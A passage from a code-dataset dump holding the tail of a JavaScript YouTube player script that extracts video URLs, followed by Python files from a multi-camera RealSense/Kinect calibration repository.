\t\t\t\t\t\tremoveElement('canvas', true);\n \t\t\t\t\t\tremoveElement('ctx', true);\n removeElement('centered', true);\n removeElement('faketime', true);\n document.getElementsByClassName(\"ytp-time-display notranslate\")[0].style = \"\";\n document.getElementsByClassName('dropdown-trigger style-scope ytd-menu-renderer')[0].style = \"\";\n \t\t\t\t\t} catch(e) {\n \t\t\t\t\t\tconsole.log(e);\n \t\t\t\t\t\tconsole.log(\"Failed to REMOVE canvas DOM.\");\n \t\t\t\t\t}\n \t\t\t\t\tvideo.parentElement.style = \"visibility: visible;\";\n \t\t\t\t\t// Reset params\n \t\t\t\t\tvideo.playbackRate = 1;\n \t\t\t\t\tdocument.getElementById('descriptionend').innerHTML = \"\"; // clear description\n \t\t\t\t\tsetInterval(function() {\n \t\t\t\t\t\ttry {\n \t\t\t\t\t\t\ttitleElm.innerText = document.getElementsByClassName('ytp-title-link yt-uix-sessionlink ytp-title-fullerscreen-link')[0].innerText;\n \t\t\t\t\t\t} catch (e) {\n \t\t\t\t\t\t\tconsole.log(e);\n \t\t\t\t\t\t}\n \t\t\t\t\t}, 1100);\n \t\t\t\t\tengineRunning = false;\n video.playbackRate = 1;\n \t\t\t\t\tthrow new Error(\"The video appears to have changed. \" + duration + \" vs \" + Math.floor(video.duration));\n \t\t\t\t}\n \t\t\t} else {\n \t\t\t\tif (lastHeight != video.style.height) {\n \t\t\t\t\tlastHeight = video.style.height;\n \t\t\t\t\tcanvas2.style.height = lastHeight;\n if(parseInt(video.style.top.split(\"px\")[0]) <= 0) {\n \t\t\t\t\tcanvas2.style['margin-top'] = 0;\n } else {\n \t\t\t\t\tcanvas2.style['margin-top'] = video.style.top;\n }\n \t\t\t\t}\n \t\t\t}\n \t\t}, 1600);\n\n \t\tvar container = video.parentElement.parentElement.parentElement;\n \t\tcontainer.onclick = function() {\n \t\t\tvar noRedirect = '.view';\n \t\t\tif (event.target.matches(noRedirect) || event.target.id == \"centered\") {\n \t\t\t\tif (!video.paused) {\n \t\t\t\t\tvideo.pause();\n \t\t\t\t} else {\n \t\t\t\t\tvideo.play();\n \t\t\t\t}\n \t\t\t}\n \t\t}\n \t}, 480);\n }\n waitForAd();\n\treturn true;\n}\n\nvar engineRunning = true;\nvar video = document.querySelector('video');\n$(document).ready(function() {\n\tsetTimeout(function() {\n\t\tvar success = ready();\n\t\tif (!success) {\n\t\t\tconsole.log(\"Retrying ready() command!\");\n\t\t\tsetTimeout(function() {\n\t\t\t\tsuccess = ready();\n\t\t\t\tif(!success) {\n\t\t\t\t\tconsole.log(\"Failed twice! Giving up.\");\n\t\t\t\t} else {\n\t\t\t\t\tconsole.log(\"Succeeded second time!\");\n\t\t\t\t\ttry { document.getElementsByClassName('dropdown-trigger style-scope ytd-menu-renderer')[0].style = \"display: none;\"; } catch (e) {};\n\t\t\t\t}\n\t\t\t}, 1420);\n\t\t} else {\n\t\t\tconsole.log(\"Successfully executed ready() command!\");\n\t\t\ttry { document.getElementsByClassName('dropdown-trigger style-scope ytd-menu-renderer')[0].style = \"display: none;\"; } catch (e) {};\n\t\t}\n\t}, 950);\n});\n\n\nfunction get_url(quality) {\n\ttry {\n\t\tvar str = document.getElementById(\"player\").getElementsByTagName('script')[1].innerText;\n\t\tvar new1 = str.split(\";ytplayer.load\");\n\t\tvar new2 = new1[0].replace(/ytplayer/g, 'vtplayer');\n\t\ttry {\n\t\t\teval(new2);\n\t\t} catch (e) {\n\t\t\tconsole.log(e);\n\t\t}\n\t\t// ES6 version\n\t\tconst videoUrls = vtplayer.config.args.adaptive_fmts\n\t\t\t.split(',')\n\t\t\t.map(item => item\n\t\t\t\t.split('&')\n\t\t\t\t.reduce((prev, curr) => (curr = curr.split('='),\n\t\t\t\t\tObject.assign(prev, {\n\t\t\t\t\t\t[curr[0]]: decodeURIComponent(curr[1])\n\t\t\t\t\t})\n\t\t\t\t), {})\n\t\t\t)\n\t\t\t.reduce((prev, curr) => Object.assign(prev, {\n\t\t\t\t[curr.quality_label || curr.type]: curr\n\t\t\t}), {});\n\t\tvar url = videoUrls[quality][\"url\"];\n\t\tvar audioType = Object.keys(videoUrls)[Object.keys(videoUrls).length - 1];\n\t\tvar audio = videoUrls[audioType][\"url\"];\n\t\treturn [url, videoUrls[quality][\"type\"], audio, audioType];\n\t} catch(e) {\n\t\tconsole.log(e);\n\t\tconsole.log(\"Error getting URL, who cares.\");\n\t\treturn false;\n\t}\n}\n" } ]
5
TokiedaKodai/Omnidirectional-Multi-Camera-Calibration
https://github.com/TokiedaKodai/Omnidirectional-Multi-Camera-Calibration
42370823495b08296fb1f94b704bc61dfa25268b
ddae4c058319d23f8ffd856741b94f319a9eca84
0f74d2fbbec4465245119af0639f98f45dcd5aff
refs/heads/main
2023-08-11T15:42:47.835295
2021-09-10T04:05:18
2021-09-10T04:05:18
356,140,582
4
0
null
null
null
null
null
[ { "alpha_fraction": 0.5681896209716797, "alphanum_fraction": 0.5836482048034668, "avg_line_length": 29.989011764526367, "blob_id": "4226f8da92c4493c80653f1228fd769fd69b8b60", "content_id": "5a4993eb8ab886db1e67961289f0ce2c1142748a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2911, "license_type": "no_license", "max_line_length": 124, "num_lines": 91, "path": "/capture/capture_kinect.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport argparse\r\n\r\nfrom freenect2 import Device, FrameType\r\nimport numpy as np\r\nimport cv2\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\nfrom utils import depth_tools as tool\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nparser.add_argument('cam', type=int, help='camera number')\r\nparser.add_argument('--idx', type=int, default=0, help='capture index')\r\nargs = parser.parse_args()\r\n\r\ncam = args.cam\r\nidx = args.idx\r\ndir_save = cf.dir_save + args.name + '/' + cf.dir_kinect\r\nos.makedirs(dir_save, exist_ok=True)\r\n\r\nfile_ply = dir_save + cf.save_ply\r\nfile_img = dir_save + cf.save_image\r\nfile_depth = dir_save + cf.save_depth\r\n\r\ndef save_images(cam, idx, rgb, depth=None):\r\n cv2.imwrite(file_img.format(cam, idx), rgb)\r\n depth_image = tool.pack_float_to_bmp_bgra(depth)\r\n cv2.imwrite(file_depth.format(cam, idx), depth_image)\r\n\r\n\r\n# Get Kinect\r\ndevice = Device()\r\n\r\ntry:\r\n while True:\r\n frames = {}\r\n with device.running():\r\n for type_, frame in device:\r\n frames[type_] = frame\r\n if FrameType.Color in frames and FrameType.Depth in frames:\r\n break\r\n\r\n rgb, depth = frames[FrameType.Color], frames[FrameType.Depth]\r\n\r\n rgb = cv2.flip(rgb.to_array(), 1)\r\n depth = cv2.flip(depth.to_array(), 1)\r\n depth_colormap = cv2.applyColorMap(cv2.convertScaleAbs(depth, alpha=0.5), cv2.COLORMAP_JET)\r\n\r\n window = np.zeros((cf.RGB_HEIGHT, cf.RGB_WIDTH + cf.DEPTH_WIDTH, 3), dtype='uint8')\r\n window[:, :cf.RGB_WIDTH, :] = np.array(rgb[:, :, :3], dtype='uint8')\r\n h_start = (cf.RGB_HEIGHT - cf.DEPTH_HEIGHT)//2\r\n window[h_start:h_start + cf.DEPTH_HEIGHT, cf.RGB_WIDTH:, :3] = np.array(depth_colormap, dtype='uint8')\r\n\r\n cv2.namedWindow('Kinect', cv2.WINDOW_NORMAL)\r\n cv2.imshow('Kinect', window)\r\n cv2.waitKey(1)\r\n\r\n ch = cv2.waitKey(25)\r\n if ch == ord('s'):\r\n break\r\n\r\n color = device.color_camera_params\r\n ir = device.ir_camera_params\r\n\r\nfinally:\r\n device.stop()\r\n print(f'color\\nfx:{color.fx}\\nfy:{color.fy}\\ncx:{color.cx}\\ncy:{color.cy}')\r\n print(f'ir\\nfx:{ir.fx}\\nfy:{ir.fy}\\ncx:{ir.cx}\\ncy:{ir.cy}\\nk1:{ir.k1}\\nk2:{ir.k2}\\nk3:{ir.k3}\\np1:{ir.p1}\\np2:{ir.p2}')\r\n\r\n cam_params = {\r\n 'focal_length': float(ir.fx), # [pixel]\r\n 'center_x': float(ir.cx),\r\n 'center_y': float(ir.cy)\r\n }\r\n\r\n # depth /= 1000 # mm -> m\r\n\r\n xyz = tool.convert_depth_to_coords_no_pix_size(depth, cam_params)\r\n tool.dump_ply(file_ply.format(cam, idx), xyz.reshape(-1, 3).tolist())\r\n\r\n save_images(cam, idx, rgb, depth)\r\n" }, { "alpha_fraction": 0.6004332900047302, "alphanum_fraction": 0.609718382358551, "avg_line_length": 30.309999465942383, "blob_id": "1e9bdc80053bf36540c48768dedaf8e9eb2d2382", "content_id": "51b1de6bc2fb5ccacdfe8472f95b5fe0f680f234", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3231, "license_type": "no_license", "max_line_length": 106, "num_lines": 100, "path": "/capture/capture_realsense.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport argparse\r\n\r\nimport pyrealsense2 as rs\r\nimport numpy as np\r\nimport cv2\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\nfrom utils import depth_tools as tool\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nparser.add_argument('cam', type=int, help='camera number')\r\nparser.add_argument('--idx', type=int, default=0, help='capture index')\r\nargs = parser.parse_args()\r\n\r\ncam = args.cam\r\nidx = args.idx\r\ndir_save = cf.dir_save + args.name + '/' + cf.dir_realsense\r\nos.makedirs(dir_save, exist_ok=True)\r\n\r\nfile_ply = dir_save + cf.save_ply\r\nfile_img = dir_save + cf.save_image\r\nfile_depth = dir_save + cf.save_depth\r\n\r\ndef save_images(cam, idx, rgb, depth):\r\n cv2.imwrite(file_img.format(cam, idx), rgb)\r\n depth_image = tool.pack_float_to_bmp_bgra(depth)\r\n cv2.imwrite(file_depth.format(cam, idx), depth_image)\r\n\r\n\r\nif cam == 1:\r\n CAMERA = cf.CAMERA_1\r\nelif cam == 2:\r\n CAMERA = cf.CAMERA_2\r\nelif cam == 3:\r\n CAMERA = cf.CAMERA_3\r\n\r\npipeline = rs.pipeline()\r\nconfig = rs.config()\r\nconfig.enable_device(CAMERA)\r\nconfig.enable_stream(rs.stream.color, cf.CAPTURE_WIDTH, cf.CAPTURE_HEIGHT, rs.format.bgr8, cf.CAPTURE_FPS)\r\nconfig.enable_stream(rs.stream.depth, cf.CAPTURE_WIDTH, cf.CAPTURE_HEIGHT, rs.format.z16, cf.CAPTURE_FPS)\r\npipeline.start(config)\r\n\r\ncolorizer = rs.colorizer()\r\n\r\ntry:\r\n while True:\r\n # Wait for a coherent pair of frames: depth and color\r\n frames = pipeline.wait_for_frames()\r\n colorized = colorizer.process(frames)\r\n depth_frame = frames.get_depth_frame()\r\n color_frame = frames.get_color_frame()\r\n if not depth_frame or not color_frame:\r\n continue\r\n # Convert images to numpy arrays\r\n color_image = np.asanyarray(color_frame.get_data())\r\n depth_image = np.asanyarray(depth_frame.get_data())\r\n # Apply colormap on depth image (image must be converted to 8-bit per pixel first)\r\n depth_colormap = cv2.applyColorMap(cv2.convertScaleAbs(depth_image, alpha=0.5), cv2.COLORMAP_JET)\r\n\r\n # Stack RGB and depth horizontally\r\n list_stack = []\r\n list_stack.append(color_image)\r\n list_stack.append(depth_colormap)\r\n images = np.hstack(list_stack)\r\n\r\n # Show RGB and depth\r\n cv2.namedWindow('RealSense', cv2.WINDOW_NORMAL)\r\n cv2.imshow('RealSense', images)\r\n cv2.waitKey(1)\r\n\r\n # Save to press 's'\r\n ch = cv2.waitKey(25)\r\n if ch == ord('s'):\r\n print('Save')\r\n save_images(cam, idx, color_image, depth_image)\r\n ply = rs.save_to_ply(file_ply.format(cam, idx))\r\n ply.set_option(rs.save_to_ply.option_ply_binary, False)\r\n ply.set_option(rs.save_to_ply.option_ply_normals, False)\r\n print('Saving to ply...')\r\n ply.process(colorized)\r\n print('Done')\r\n break\r\n elif ch == 27:\r\n break\r\n\r\nfinally:\r\n # Stop streaming\r\n pipeline.stop()\r\n" }, { "alpha_fraction": 0.43886861205101013, "alphanum_fraction": 0.45346716046333313, "avg_line_length": 31.15151596069336, "blob_id": "8d814547fc9f5455d6582b00b967fc78d5def6f2", "content_id": "54952bac508e65167ba5575ba973a295d83b7ad9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1096, "license_type": "no_license", "max_line_length": 76, "num_lines": 33, "path": "/utils/file_tools.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "\r\n\r\ndef getNewFile(file_path, add_name):\r\n file_hierarchy = file_path.rsplit('\\\\', 1)\r\n file_name = file_hierarchy[-1]\r\n name_hierarchy = file_name.split('.')\r\n print(file_name)\r\n\r\n new_name = '.'.join([name_hierarchy[0] + add_name] + name_hierarchy[1:])\r\n save_file = '\\\\'.join([file_hierarchy[0], new_name])\r\n return save_file\r\n\r\ndef editPlyScale(read_file, save_file, scale):\r\n f = open(save_file, 'w')\r\n is_header = True\r\n\r\n cnt = 0\r\n for line in open(read_file, 'r'):\r\n if is_header:\r\n write = line\r\n if line == 'end_header\\n':\r\n is_header = False\r\n else:\r\n vals = line.split()\r\n if len(vals) == 3:\r\n if cnt % 2 == 0:\r\n vals[0] = float(vals[0]) * scale\r\n vals[1] = float(vals[1]) * scale\r\n vals[2] = float(vals[2]) * scale\r\n cnt += 1\r\n write = '{} {} {}\\n'.format(*vals)\r\n else:\r\n write = '{} {} {} {}\\n'.format(*vals)\r\n f.write(write)\r\n f.close()" }, { "alpha_fraction": 0.4375772476196289, "alphanum_fraction": 0.5290482044219971, "avg_line_length": 19.01298713684082, "blob_id": "b98f8f00b3f4cea9c00513b5f35c919b4f25f8a6", "content_id": "ad126b1e91d8de7cc6776548e77ad44efb9c984d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1618, "license_type": "no_license", "max_line_length": 54, "num_lines": 77, "path": "/config.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "#### Data\r\ndir_save = '../Captures/'\r\ndir_realsense = 'realsense/'\r\ndir_kinect = 'kinect/'\r\ndir_calib = 'calib/'\r\n\r\nsave_image = 'rgb_{}-{}.png'\r\nsave_depth = 'depth_{}-{}.bmp'\r\nsave_ply = 'ply_{}-{}.ply'\r\nsave_param = 'param_{}-{}.txt'\r\nsave_extrinsic_param = 'extrinsic_param.txt'\r\n\r\n#### RealSense Config\r\nID_VENDOR_REALSENSE = 0x8086 # Intel\r\nMANUFACTURER_REALSENSE = 'Intel(R) RealSense(TM)'\r\nPRODUCT_REALSENSE = 'Intel(R) RealSense(TM)'\r\n\r\nCAPTURE_WIDTH = 640\r\nCAPTURE_HEIGHT = 480\r\nCAPTURE_FPS = 30\r\n\r\nCAMERA_1 = '816612061727'\r\nCAMERA_2 = '821212060533'\r\nCAMERA_3 = '816612061596'\r\n\r\n#### Kinect config\r\nRGB_WIDTH = 1920\r\nRGB_HEIGHT = 1080\r\nDEPTH_WIDTH = 512\r\nDEPTH_HEIGHT = 424\r\n\r\n#### Calibration\r\ndic_cams = [\r\n {\r\n 'dir': 'cam12/',\r\n 'cams': [1, 2]\r\n },\r\n {\r\n 'dir': 'cam23/',\r\n 'cams': [2, 3]\r\n },\r\n {\r\n 'dir': 'cam31/',\r\n 'cams': [3, 1]\r\n }\r\n]\r\ntemplate_param = \\\r\n'''0.00 0.00 0.00 0.00\r\n0.00 0.00 0.00 0.00\r\n0.00 0.00 0.00 0.00\r\n0.00 0.00 0.00 1.00\r\n'''\r\n\r\n\r\n\r\n\r\n# #### Calibration\r\n# dir_detect_marker = 'detect/'\r\n# dir_undist = 'undist/'\r\n# num_marker_x = 10\r\n# num_marker_y = 7\r\n# res_board_scale = 150\r\n# res_board_x = num_marker_x * res_board_scale\r\n# res_board_y = num_marker_y * res_board_scale\r\n# marker_real_size = 20 # [mm]\r\n\r\n# #### Capture Setting\r\n# # Capture order and camera number for stereo capture\r\n# capture_stereo = { \r\n# 1: {'dir': 'cap1/',\r\n# 'cams': [1, 2]},\r\n# 2: {'dir': 'cap2/',\r\n# 'cams': [2, 3]},\r\n# 3: {'dir': 'cap3/',\r\n# 'cams': [3, 1]}\r\n# }\r\n# num_capture = 10\r\n" }, { "alpha_fraction": 0.5616574883460999, "alphanum_fraction": 0.5876185894012451, "avg_line_length": 26.239437103271484, "blob_id": "783ec52259afc4e22776583fdf040ba4b88522af", "content_id": "f0d976f514a9b6d65cb6959a5745f2e2e6fa4624", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2003, "license_type": "no_license", "max_line_length": 114, "num_lines": 71, "path": "/calib/eval_extrinsic.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport argparse\r\n\r\nimport numpy as np\r\nfrom scipy.spatial.transform import Rotation as R\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nargs = parser.parse_args()\r\n\r\ndir_save = cf.dir_save + args.name + '/'\r\nfile_extrinsic = dir_save + cf.save_extrinsic_param\r\n\r\nf = open(file_extrinsic, 'w')\r\n\r\nrts = []\r\nfor dic in cf.dic_cams:\r\n directory = dir_save + dic['dir']\r\n\r\n f.write('{}->{}\\n'.format(*dic['cams']))\r\n rt = []\r\n for line in open(directory + cf.save_param.format('r' + str(dic['cams'][0]), 'r' + str(dic['cams'][1])), 'r'):\r\n f.write(line)\r\n rt.append(line.split())\r\n rts.append(np.array(rt, dtype=float))\r\n f.write('\\n')\r\n\r\n\r\nrt12 = rts[0]\r\nrt23 = rts[1]\r\nrt31 = rts[2]\r\n\r\nrt123 = np.dot(rt23, rt12)\r\nrt1231 = np.dot(rt31, rt123)\r\n\r\nprint(rt1231)\r\n\r\nf.write('Evaluation\\n')\r\nf.write('1->2->3->1\\n')\r\nfor line in list(rt1231):\r\n f.write('{} {} {} {}\\n'.format(*line))\r\n\r\nr = R.from_matrix(rt1231[:3, :3])\r\nangle_err = r.as_euler('xyz', degrees=True)\r\nangle_err_total = np.sqrt(np.sum(np.square(angle_err)))\r\ntrans_err = rt1231[0:3,3]\r\ntrans_err_total = np.sqrt(np.sum(np.square(trans_err)))\r\n\r\nprint('Rotation(xyz)[degrees]: {} {} {}'.format(*angle_err))\r\nprint('Rotation(Total)[degrees]: {}'.format(angle_err_total))\r\nprint('Translation(xyz)[m]: {} {} {}'.format(*trans_err))\r\nprint('Translation(Total)[m]: {}'.format(trans_err_total))\r\n\r\nf.write('Error\\n')\r\nf.write('Rotation(xyz)[degrees]: {} {} {}\\n'.format(*angle_err))\r\nf.write('Rotation(Total)[degrees]: {}\\n'.format(angle_err_total))\r\nf.write('Translation(xyz)[m]: {} {} {}\\n'.format(*trans_err))\r\nf.write('Translation(Total)[m]: {}\\n'.format(trans_err_total))\r\n\r\nf.close()" }, { "alpha_fraction": 0.5338982939720154, "alphanum_fraction": 0.5386064052581787, "avg_line_length": 25.28205108642578, "blob_id": "569ff204ac0461e7261e23571604546d48916fb5", "content_id": "333db116656e0ce220cd8af2638512ac10d96c60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1062, "license_type": "no_license", "max_line_length": 98, "num_lines": 39, "path": "/calib/edit_ply_realsense.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport glob\r\nimport argparse\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\nfrom utils import file_tools as tool\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nargs = parser.parse_args()\r\n\r\ndir_save = cf.dir_save + args.name + '/'\r\n\r\n\r\ndef main():\r\n for dic in cf.dic_cams:\r\n directory = dir_save + dic['dir']\r\n read_files = sorted(glob.glob(directory + cf.dir_realsense + '*.ply'))\r\n \r\n for read_file in read_files:\r\n save_file = tool.getNewFile(read_file, '_[mm]')\r\n tool.editPlyScale(read_file, save_file, 1000)\r\n\r\n for i in range(2):\r\n with open(directory + cf.save_param.format('r' + str(dic['cams'][i]), 'k'), 'w') as f:\r\n f.write(cf.template_param)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()" }, { "alpha_fraction": 0.4719178080558777, "alphanum_fraction": 0.5075342655181885, "avg_line_length": 25.074073791503906, "blob_id": "b72ebf29d66ad74be4f731a1e49521be92427152", "content_id": "6145c1bc3452ad643e3e6162c6eb6e0f45d12268", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1460, "license_type": "no_license", "max_line_length": 112, "num_lines": 54, "path": "/calib/calc_extrinsic.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport argparse\r\n\r\nimport numpy as np\r\nfrom scipy.spatial.transform import Rotation as R\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nargs = parser.parse_args()\r\n\r\ndir_save = cf.dir_save + args.name + '/'\r\n\r\nfor dic in cf.dic_cams:\r\n directory = dir_save + dic['dir']\r\n\r\n rt = []\r\n for i in range(2):\r\n for line in open(directory + cf.save_param.format('r' + str(dic['cams'][i]), 'k'), 'r'):\r\n rt.append(line.split())\r\n\r\n rt1 = np.array(rt[:4], dtype=float)\r\n rt2 = np.array(rt[4:], dtype=float)\r\n\r\n r1 = rt1[:3, :3]\r\n t1 = rt1[:3, 3]\r\n r2 = rt2[:3, :3]\r\n t2 = rt2[:3, 3]\r\n\r\n r2 = np.linalg.inv(rt2[:3, :3])\r\n t2 = rt2[:3, 3] * -1\r\n rt2[:3, :3] = r2\r\n rt2[:3, 3] = t2\r\n\r\n rt12 = np.dot(rt2, rt1)\r\n\r\n print('extrinsic param: {} -> {}\\n{}'.format(*dic['cams'], rt12))\r\n\r\n with open(directory + cf.save_param.format('r' + str(dic['cams'][0]), 'r' + str(dic['cams'][1])), 'w') as f:\r\n for line in rt12:\r\n f.write('{} {} {} {}\\n'.format(*line))\r\n\r\n r = R.from_matrix(rt12[:3, :3])\r\n print('Rotate [xyz]:', r.as_euler('xyz', degrees=True))" }, { "alpha_fraction": 0.4889954924583435, "alphanum_fraction": 0.5293453931808472, "avg_line_length": 32.42718505859375, "blob_id": "51d64b54e348ae17f332d28b08a7a36cef2d87e1", "content_id": "9f9e4b9e345eb6f2d05c1b1a4d7296d875f43f8c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3544, "license_type": "no_license", "max_line_length": 83, "num_lines": 103, "path": "/utils/depth_tools.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import cv2\r\nimport numpy as np\r\n\r\ndef unpack_png_to_float(png):\r\n depthImageUnit = 0.00001\r\n png = png.astype(float)\r\n depth = (png[:, :, 0] + png[:, :, 1] * 256 +\r\n png[:, :, 2] * 256 * 256) * depthImageUnit\r\n return depth\r\n\r\n\r\ndef pack_float_to_bmp_bgra(depth):\r\n m, e = np.frexp(depth)\r\n m = (m * (256**3)).astype(np.uint64)\r\n bmp = np.zeros((*depth.shape[:2], 4), np.uint8)\r\n bmp[:, :, 0] = (e + 128).astype(np.uint8)\r\n bmp[:, :, 1] = np.right_shift(np.bitwise_and(m, 0x00ff0000), 16)\r\n bmp[:, :, 2] = np.right_shift(np.bitwise_and(m, 0x0000ff00), 8)\r\n bmp[:, :, 3] = np.bitwise_and(m, 0x000000ff)\r\n return bmp\r\n\r\n\r\ndef unpack_bmp_bgra_to_float(bmp):\r\n b = bmp[:, :, 0].astype(np.int32)\r\n g = bmp[:, :, 1].astype(np.int32) << 16\r\n r = bmp[:, :, 2].astype(np.int32) << 8\r\n a = bmp[:, :, 3].astype(np.int32)\r\n depth = np.ldexp(1.0, b -\r\n (128 + 24)) * (g + r + a + 0.5).astype(np.float32)\r\n return depth\r\n\r\n\r\ndef unpack_bmp_bgr_to_float(bmp):\r\n b = bmp[:, :, 0].astype(np.int32)\r\n g = bmp[:, :, 1].astype(np.int32) << 16\r\n r = bmp[:, :, 2].astype(np.int32) << 8\r\n depth = np.ldexp(1.0, b - (128 + 24)) * (g + r + 0.5).astype(np.float32)\r\n return depth\r\n\r\n\r\ndef convert_depth_to_coords(raw_depth, cam_params):\r\n h, w = raw_depth.shape[:2]\r\n\r\n # convert depth to 3d coord\r\n xs, ys = np.meshgrid(range(w), range(h))\r\n\r\n z = raw_depth\r\n dist_x = cam_params['pix_x'] * (xs - cam_params['center_x'])\r\n dist_y = -cam_params['pix_y'] * (ys - cam_params['center_y'])\r\n xyz = np.vstack([(dist_x * z / cam_params['focal_length']).flatten(),\r\n (dist_y * z / cam_params['focal_length']).flatten(),\r\n -z.flatten()]).T.reshape((h, w, -1))\r\n return xyz\r\n\r\ndef convert_depth_to_coords_no_pix_size(raw_depth, cam_params):\r\n h, w = raw_depth.shape[:2]\r\n\r\n # convert depth to 3d coord\r\n xs, ys = np.meshgrid(range(w), range(h))\r\n\r\n z = raw_depth\r\n x = (xs - cam_params['center_x']) * z / cam_params['focal_length']\r\n y = -(ys - cam_params['center_y']) * z / cam_params['focal_length']\r\n xyz = np.vstack([x.flatten(), y.flatten(), -z.flatten()]).T.reshape((h, w, -1))\r\n return xyz\r\n\r\ndef dump_ply(filename, points, colors=None, faces=None):\r\n params = []\r\n minimum = 0.01\r\n\r\n arr_points = np.array(points)\r\n length = np.sum(np.where(np.abs(arr_points[:, 2]) > minimum, 1, 0))\r\n params.append(length)\r\n\r\n header = 'ply\\n'\r\n header += 'format ascii 1.0\\n'\r\n header += 'element vertex {:d}\\n'\r\n header += 'property float x\\n'\r\n header += 'property float y\\n'\r\n header += 'property float z\\n'\r\n header += 'property uchar red\\n'\r\n header += 'property uchar green\\n'\r\n header += 'property uchar blue\\n'\r\n\r\n if faces is not None:\r\n params.append(len(faces))\r\n header += 'element face {:d}\\n'\r\n header += 'property list uchar int vertex_indices \\n'\r\n\r\n header += 'end_header\\n'\r\n\r\n colors = colors if colors is not None else [[255, 255, 255]] * len(points)\r\n with open(filename, 'w') as f:\r\n f.write(header.format(*params))\r\n for p, color in zip(points, colors):\r\n if np.abs(p[2]) > minimum:\r\n data = (p[0], p[1], p[2], color[0], color[1], color[2])\r\n f.write('%f %f %f %u %u %u\\n' % data)\r\n\r\n faces = faces if faces is not None else []\r\n for v in faces:\r\n data = (v[0], v[1], v[2])\r\n f.write('3 %d %d %d \\n' % data)" }, { "alpha_fraction": 0.5497435927391052, "alphanum_fraction": 0.5600000023841858, "avg_line_length": 25.91428565979004, "blob_id": "805f4a15b7443a94b8fb5ef3afc33c0f93a82d56", "content_id": "67c29f37c35fafb0ee92397b3cd37c3a70324a24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 975, "license_type": "no_license", "max_line_length": 91, "num_lines": 35, "path": "/calib/edit_ply_kinect.py", "repo_name": "TokiedaKodai/Omnidirectional-Multi-Camera-Calibration", "src_encoding": "UTF-8", "text": "import os\r\nimport sys\r\nimport glob\r\nimport argparse\r\n\r\ndir_current = os.path.dirname(os.path.abspath(__file__))\r\nos.chdir(dir_current)\r\nsys.path.append('../')\r\n\r\nimport config as cf\r\nfrom utils import file_tools as tool\r\n\r\nos.chdir(dir_current)\r\n###########################################################################################\r\n\r\n# Parser\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('name', help='name of save dir')\r\nargs = parser.parse_args()\r\n\r\ndir_save = cf.dir_save + args.name + '/'\r\n\r\n\r\ndef main():\r\n read_files = sorted(glob.glob(dir_save + 'cam12/' + cf.dir_kinect + '*.ply'))\r\n read_files += sorted(glob.glob(dir_save + 'cam13/' + cf.dir_kinect + '*.ply'))\r\n read_files += sorted(glob.glob(dir_save + 'cam23/' + cf.dir_kinect + '*.ply'))\r\n \r\n for read_file in read_files:\r\n save_file = tool.getNewFile(read_file, '_[m]')\r\n tool.editPlyScale(read_file, save_file, 0.001)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()" }, { "alpha_fraction": 0.5759829878807068, "alphanum_fraction": 0.6408076286315918, "avg_line_length": 24.19444465637207, "blob_id": "efbbd1abb51cd298038d07e0b32cd7bfe704c892", "content_id": "8fa8e8ca7775b184a02e4c815bbde78f13ce28fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 941, "license_type": "no_license", "max_line_length": 